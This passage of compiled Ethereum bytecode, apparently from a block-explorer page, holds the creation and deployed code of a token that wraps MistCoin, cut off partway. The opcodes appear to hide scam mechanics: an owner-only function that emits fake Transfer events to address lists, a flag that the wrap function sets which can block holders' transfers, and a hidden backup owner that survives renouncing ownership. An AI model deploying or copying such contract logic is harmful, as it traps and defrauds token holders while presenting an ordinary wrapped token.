1858962000c3b565b620007fd9190620024a8565b620012d2565b600191505092915050565b620008186200186f565b6200082d62000826620012ca565b82620018f4565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b620008836200186f565b6200088f600062001ad9565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054620008cb90620023c8565b80601f0160208091040260200160405190810160405280929190818152602001828054620008f990620023c8565b80156200094a5780601f106200091e576101008083540402835291602001916200094a565b820191906000526020600020905b8154815290600101906020018083116200092c57829003601f168201915b5050505050905090565b60008062000961620012ca565b9050600062000971828662000c3b565b905083811015620009b9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b09062002559565b60405180910390fd5b620009c88286868403620012d2565b60019250505092915050565b600080620009e1620012ca565b9050620009f081858562001537565b600191505092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac390620025cb565b60405180910390fd5b60405162000ada9062001d31565b604051809103906000f08015801562000af7573d6000803e3d6000fd5b50600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f2c601b1355d1a6cd1373df5a1e2460c77aedfbb5c16c66b47bb96b35462808e260405160405180910390a2565b62000bc46200186f565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8062000cce3362000830565b101562000d12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d09906200263d565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040162000d719291906200265f565b600060405180830381600087803b15801562000d8c57600080fd5b505af115801562000da1573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16817f1d27d1c62712f590d53fa9eb8bbf3a75d09503deae319bb9d99644339cb312e160405160405180910390a350565b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000ec2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000eb99062002702565b60405180910390fd5b81600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040162000f20919062002335565b6020604051808303816000875af115801562000f40573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f6691906200273b565b101562000faa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000fa190620027bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16638d3c100a83600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620010099291906200284a565b600060405180830381600087803b1580156200102457600080fd5b505af115801562001039573d6000803e3d6000fd5b505050506001600460006200104d62001b9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006200112762001b9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16827f9c307a39a47fdf1a019642a4e8a585ffe9894b5018226029887fe6d4241611bb60405160405180910390a35050565b620011b76200186f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362001229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200122090620028ed565b60405180910390fd5b620012348162001ad9565b50565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362001344576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200133b9062002985565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620013b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620013ad9062002a1d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162001496919062001f43565b60405180910390a3505050565b6000620014b1848462000c3b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811462001531578181101562001521576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620015189062002a8f565b60405180910390fd5b620015308484848403620012d2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620015a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620015a09062002b27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620016129062002bbf565b60405180910390fd5b6200162883838362001bb3565b600460006200163662001b9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615620016cd57620016cc8362001bb8565b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562001757576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200174e9062002c57565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620017ee9190620024a8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162001854919062001f43565b60405180910390a36200186984848462001c86565b50505050565b62001879620012ca565b73ffffffffffffffffffffffffffffffffffffffff166200189962001b9d565b73ffffffffffffffffffffffffffffffffffffffff1614620018f2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620018e99062002cc9565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362001966576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200195d9062002d61565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015620019f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019e79062002df9565b60405180910390fd5b8160075462001a00919062002e1b565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816006600082825462001a57919062002e1b565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162001abe919062001f43565b60405180910390a362001ad48360008462001c86565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008062001baa62001c8b565b90508091505090565b505050565b60006005600062001bc862001b9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541162001c83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162001c7a9062002ecc565b60405180910390fd5b50565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462001d085760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662001d2c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b61082e8062002eef83390190565b600081519050919050565b600082825260208201905092915050565b60005b8381101562001d7b57808201518184015260208101905062001d5e565b60008484015250505050565b6000601f19601f8301169050919050565b600062001da58262001d3f565b62001db1818562001d4a565b935062001dc381856020860162001d5b565b62001dce8162001d87565b840191505092915050565b6000602082019050818103600083015262001df5818462001d98565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062001e3e8262001e11565b9050919050565b62001e508162001e31565b811462001e5c57600080fd5b50565b60008135905062001e708162001e45565b92915050565b6000819050919050565b62001e8b8162001e76565b811462001e9757600080fd5b50565b60008135905062001eab8162001e80565b92915050565b6000806040838503121562001ecb5762001eca62001e07565b5b600062001edb8582860162001e5f565b925050602062001eee8582860162001e9a565b9150509250929050565b60008115159050919050565b62001f0f8162001ef8565b82525050565b600060208201905062001f2c600083018462001f04565b92915050565b62001f3d8162001e76565b82525050565b600060208201905062001f5a600083018462001f32565b92915050565b60008060006060848603121562001f7c5762001f7b62001e07565b5b600062001f8c8682870162001e5f565b935050602062001f9f8682870162001e5f565b925050604062001fb28682870162001e9a565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011262001fe45762001fe362001fbc565b5b8235905067ffffffffffffffff81111562002004576200200362001fc1565b5b60208301915083602082028301111562002023576200202262001fc6565b5b9250929050565b60008060006040848603121562002046576200204562001e07565b5b600084013567ffffffffffffffff81111562002067576200206662001e0c565b5b620020758682870162001fcb565b935093505060206200208a8682870162001e9a565b9150509250925092565b600060ff82169050919050565b620020ac8162002094565b82525050565b6000602082019050620020c96000830184620020a1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620021098262001d87565b810181811067ffffffffffffffff821117156200212b576200212a620020cf565b5b80604052505050565b60006200214062001dfd565b90506200214e8282620020fe565b919050565b600067ffffffffffffffff821115620021715762002170620020cf565b5b602082029050602081019050919050565b600062002199620021938462002153565b62002134565b90508083825260208201905060208402830185811115620021bf57620021be62001fc6565b5b835b81811015620021ec5780620021d7888262001e5f565b845260208401935050602081019050620021c1565b5050509392505050565b600082601f8301126200220e576200220d62001fbc565b5b81356200222084826020860162002182565b91505092915050565b620022348162001ef8565b81146200224057600080fd5b50565b600081359050620022548162002229565b92915050565b6000806040838503121562002274576200227362001e07565b5b600083013567ffffffffffffffff81111562002295576200229462001e0c565b5b620022a385828601620021f6565b9250506020620022b68582860162002243565b9150509250929050565b600060208284031215620022d957620022d862001e07565b5b6000620022e98482850162001e9a565b91505092915050565b6000602082840312156200230b576200230a62001e07565b5b60006200231b8482850162001e5f565b91505092915050565b6200232f8162001e31565b82525050565b60006020820190506200234c600083018462002324565b92915050565b600080604083850312156200236c576200236b62001e07565b5b60006200237c8582860162001e5f565b92505060206200238f8582860162001e5f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620023e157607f821691505b602082108103620023f757620023f662002399565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620024688262001e76565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036200249d576200249c6200242c565b5b600182019050919050565b6000620024b58262001e76565b9150620024c28362001e76565b9250828201905080821115620024dd57620024dc6200242c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006200254160258362001d4a565b91506200254e82620024e3565b604082019050919050565b60006020820190508181036000830152620025748162002532565b9050919050565b7f44726f7020626f7820616c7265616479206578697374732e0000000000000000600082015250565b6000620025b360188362001d4a565b9150620025c0826200257b565b602082019050919050565b60006020820190508181036000830152620025e681620025a4565b9050919050565b7f4e6f7420656e6f756768204d697374436f696e20746f20756e777261702e0000600082015250565b600062002625601e8362001d4a565b91506200263282620025ed565b602082019050919050565b60006020820190508181036000830152620026588162002616565b9050919050565b600060408201905062002676600083018562002324565b62002685602083018462001f32565b9392505050565b7f596f75206d7573742063726561746520612064726f7020626f7820666972737460008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000620026ea60218362001d4a565b9150620026f7826200268c565b604082019050919050565b600060208201905081810360008301526200271d81620026db565b9050919050565b600081519050620027358162001e80565b92915050565b60006020828403121562002754576200275362001e07565b5b6000620027648482850162002724565b91505092915050565b7f4e6f7420656e6f756768204d697374436f696e20696e2064726f7020626f782e600082015250565b6000620027a560208362001d4a565b9150620027b2826200276d565b602082019050919050565b60006020820190508181036000830152620027d88162002796565b9050919050565b6000819050919050565b60006200280a62002804620027fe8462001e11565b620027df565b62001e11565b9050919050565b60006200281e82620027e9565b9050919050565b6000620028328262002811565b9050919050565b620028448162002825565b82525050565b600060408201905062002861600083018562001f32565b62002870602083018462002839565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000620028d560268362001d4a565b9150620028e28262002877565b604082019050919050565b600060208201905081810360008301526200290881620028c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200296d60248362001d4a565b91506200297a826200290f565b604082019050919050565b60006020820190508181036000830152620029a0816200295e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062002a0560228362001d4a565b915062002a1282620029a7565b604082019050919050565b6000602082019050818103600083015262002a3881620029f6565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600062002a77601d8362001d4a565b915062002a848262002a3f565b602082019050919050565b6000602082019050818103600083015262002aaa8162002a68565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062002b0f60258362001d4a565b915062002b1c8262002ab1565b604082019050919050565b6000602082019050818103600083015262002b428162002b00565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600062002ba760238362001d4a565b915062002bb48262002b49565b604082019050919050565b6000602082019050818103600083015262002bda8162002b98565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600062002c3f60268362001d4a565b915062002c4c8262002be1565b604082019050919050565b6000602082019050818103600083015262002c728162002c30565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062002cb160208362001d4a565b915062002cbe8262002c79565b602082019050919050565b6000602082019050818103600083015262002ce48162002ca2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062002d4960218362001d4a565b915062002d568262002ceb565b604082019050919050565b6000602082019050818103600083015262002d7c8162002d3a565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600062002de160228362001d4a565b915062002dee8262002d83565b604082019050919050565b6000602082019050818103600083015262002e148162002dd2565b9050919050565b600062002e288262001e76565b915062002e358362001e76565b925082820390508181111562002e505762002e4f6200242c565b5b92915050565b7f4e6f7420656e6f75676820696e2064726f70426f782c20706c6561736520777260008201527f6170206d6f726520636f696e732e000000000000000000000000000000000000602082015250565b600062002eb4602e8362001d4a565b915062002ec18262002e56565b604082019050919050565b6000602082019050818103600083015262002ee78162002ea5565b905091905056fe608060405234801561001057600080fd5b503380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061006f61006461007560201b60201c565b61007d60201b60201c565b50610141565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6106de806101506000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063715018a6146100515780638d3c100a1461005b5780638da5cb5b14610077578063f2fde38b14610095575b600080fd5b6100596100b1565b005b6100756004803603810190610070919061049e565b6100c5565b005b61007f610145565b60405161008c91906104ed565b60405180910390f35b6100af60048036038101906100aa9190610534565b61016e565b005b6100b96101f1565b6100c3600061026f565b565b6100cd6101f1565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6100f1610145565b846040518363ffffffff1660e01b815260040161010f929190610570565b600060405180830381600087803b15801561012957600080fd5b505af115801561013d573d6000803e3d6000fd5b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101766101f1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036101e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc9061061c565b60405180910390fd5b6101ee8161026f565b50565b6101f9610333565b73ffffffffffffffffffffffffffffffffffffffff1661021761033b565b73ffffffffffffffffffffffffffffffffffffffff161461026d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026490610688565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b60008061034661034f565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103ca5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103ee565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b6000819050919050565b61040b816103f8565b811461041657600080fd5b50565b60008135905061042881610402565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006104598261042e565b9050919050565b600061046b8261044e565b9050919050565b61047b81610460565b811461048657600080fd5b50565b60008135905061049881610472565b92915050565b600080604083850312156104b5576104b46103f3565b5b60006104c385828601610419565b92505060206104d485828601610489565b9150509250929050565b6104e78161044e565b82525050565b600060208201905061050260008301846104de565b92915050565b6105118161044e565b811461051c57600080fd5b50565b60008135905061052e81610508565b92915050565b60006020828403121561054a576105496103f3565b5b60006105588482850161051f565b91505092915050565b61056a816103f8565b82525050565b600060408201905061058560008301856104de565b6105926020830184610561565b9392505050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000610606602683610599565b9150610611826105aa565b604082019050919050565b60006020820190508181036000830152610635816105f9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000610672602083610599565b915061067d8261063c565b602082019050919050565b600060208201905081810360008301526106a181610665565b905091905056fea26469706673582212204f44939ed88acd9de0bc9505e25b91d4d8e0397ded04f6c5efe2dae08df8a18b64736f6c63430008100033a264697066735822122044806a7409a513c9a206a9b74121a2108d125204df5f651918bb7dfce973f62964736f6c6343000810003300000000000000000000000090593c1a25799332f1670b2081337cc16e455f76

Deployed Bytecode

0x60806040523480156200001157600080fd5b50600436106200016c5760003560e01c80638da5cb5b11620000d5578063d6d2bb981162000087578063d6d2bb9814620003f7578063dd62ed3e146200042d578063de0e9a3e1462000463578063ea598cb01462000483578063f2fde38b14620004a3578063fbf12fea14620004c3576200016c565b80638da5cb5b146200031b57806395d89b41146200033d578063a457c2d7146200035f578063a9059cbb1462000395578063b8bdd4b214620003cb578063c2b7bbb614620003d7576200016c565b8063313ce567116200012f578063313ce5671462000241578063338d4669146200026357806339509351146200028357806342966c6814620002b957806370a0823114620002d9578063715018a6146200030f576200016c565b806306fdde031462000171578063095ea7b3146200019357806318160ddd14620001c957806323b872dd14620001eb57806326ededb81462000221575b600080fd5b6200017b620004f9565b6040516200018a919062001dd9565b60405180910390f35b620001b16004803603810190620001ab919062001eb1565b62000593565b604051620001c0919062001f15565b60405180910390f35b620001d3620005ba565b604051620001e2919062001f43565b60405180910390f35b62000209600480360381019062000203919062001f60565b620005c4565b60405162000218919062001f15565b60405180910390f35b6200023f60048036038101906200023991906200202a565b620005f9565b005b6200024b620006e3565b6040516200025a9190620020b2565b60405180910390f35b6200028160048036038101906200027b91906200225a565b620006ec565b005b620002a160048036038101906200029b919062001eb1565b620007cf565b604051620002b0919062001f15565b60405180910390f35b620002d76004803603810190620002d19190620022c0565b6200080e565b005b620002f76004803603810190620002f19190620022f2565b62000830565b60405162000306919062001f43565b60405180910390f35b6200031962000879565b005b6200032562000891565b60405162000334919062002335565b60405180910390f35b62000347620008ba565b60405162000356919062001dd9565b60405180910390f35b6200037d600480360381019062000377919062001eb1565b62000954565b6040516200038c919062001f15565b60405180910390f35b620003b36004803603810190620003ad919062001eb1565b620009d4565b604051620003c2919062001f15565b60405180910390f35b620003d5620009fb565b005b620003f56004803603810190620003ef9190620022f2565b62000bba565b005b6200041560048036038101906200040f9190620022f2565b62000c08565b60405162000424919062002335565b60405180910390f35b6200044b600480360381019062000445919062002352565b62000c3b565b6040516200045a919062001f43565b60405180910390f35b6200048160048036038101906200047b9190620022c0565b62000cc2565b005b620004a160048036038101906200049b9190620022c0565b62000dec565b005b620004c16004803603810190620004bb9190620022f2565b620011ad565b005b620004e16004803603810190620004db9190620022f2565b62001237565b604051620004f0919062001f15565b60405180910390f35b6060600980546200050a90620023c8565b80601f01602080910402602001604051908101604052809291908181526020018280546200053890620023c8565b8015620005895780601f106200055d5761010080835404028352916020019162000589565b820191906000526020600020905b8154815290600101906020018083116200056b57829003601f168201915b5050505050905090565b600080620005a0620012ca565b9050620005af818585620012d2565b600191505092915050565b6000600654905090565b600080620005d1620012ca565b9050620005e0858285620014a3565b620005ed85858562001537565b60019150509392505050565b620006036200186f565b60005b83839050811015620006dd57838382818110620006285762000627620023fd565b5b90506020020160208101906200063f9190620022f2565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006bf919062001f43565b60405180910390a38080620006d4906200245b565b91505062000606565b50505050565b60006009905090565b620006f66200186f565b60005b8251811015620007ca5781600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008584815181106200075b576200075a620023fd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620007c1906200245b565b915050620006f9565b505050565b600080620007dc620012ca565b905062000803818585620007f1858962000c3b565b620007fd9190620024a8565b620012d2565b600191505092915050565b620008186200186f565b6200082d62000826620012ca565b82620018f4565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b620008836200186f565b6200088f600062001ad9565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054620008cb90620023c8565b80601f0160208091040260200160405190810160405280929190818152602001828054620008f990620023c8565b80156200094a5780601f106200091e576101008083540402835291602001916200094a565b820191906000526020600020905b8154815290600101906020018083116200092c57829003601f168201915b5050505050905090565b60008062000961620012ca565b9050600062000971828662000c3b565b905083811015620009b9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b09062002559565b60405180910390fd5b620009c88286868403620012d2565b60019250505092915050565b600080620009e1620012ca565b9050620009f081858562001537565b600191505092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac390620025cb565b60405180910390fd5b60405162000ada9062001d31565b604051809103906000f08015801562000af7573d6000803e3d6000fd5b50600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f2c601b1355d1a6cd1373df5a1e2460c77aedfbb5c16c66b47bb96b35462808e260405160405180910390a2565b62000bc46200186f565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8062000cce3362000830565b101562000d12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d09906200263d565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040162000d719291906200265f565b600060405180830381600087803b15801562000d8c57600080fd5b505af115801562000da1573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16817f1d27d1c62712f590d53fa9eb8bbf3a75d09503deae319bb9d99644339cb312e160405160405180910390a350565b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000ec2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000eb99062002702565b60405180910390fd5b81600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040162000f20919062002335565b6020604051808303816000875af115801562000f40573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f6691906200273b565b101562000faa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000fa190620027bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16638d3c100a83600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620010099291906200284a565b600060405180830381600087803b1580156200102457600080fd5b505af115801562001039573d6000803e3d6000fd5b505050506001600460006200104d62001b9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006200112762001b9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16827f9c307a39a47fdf1a019642a4e8a585ffe9894b5018226029887fe6d4241611bb60405160405180910390a35050565b620011b76200186f565b600073ffffffffffffffffffffffffffffffffffffffff168173fffffffffffffffffffff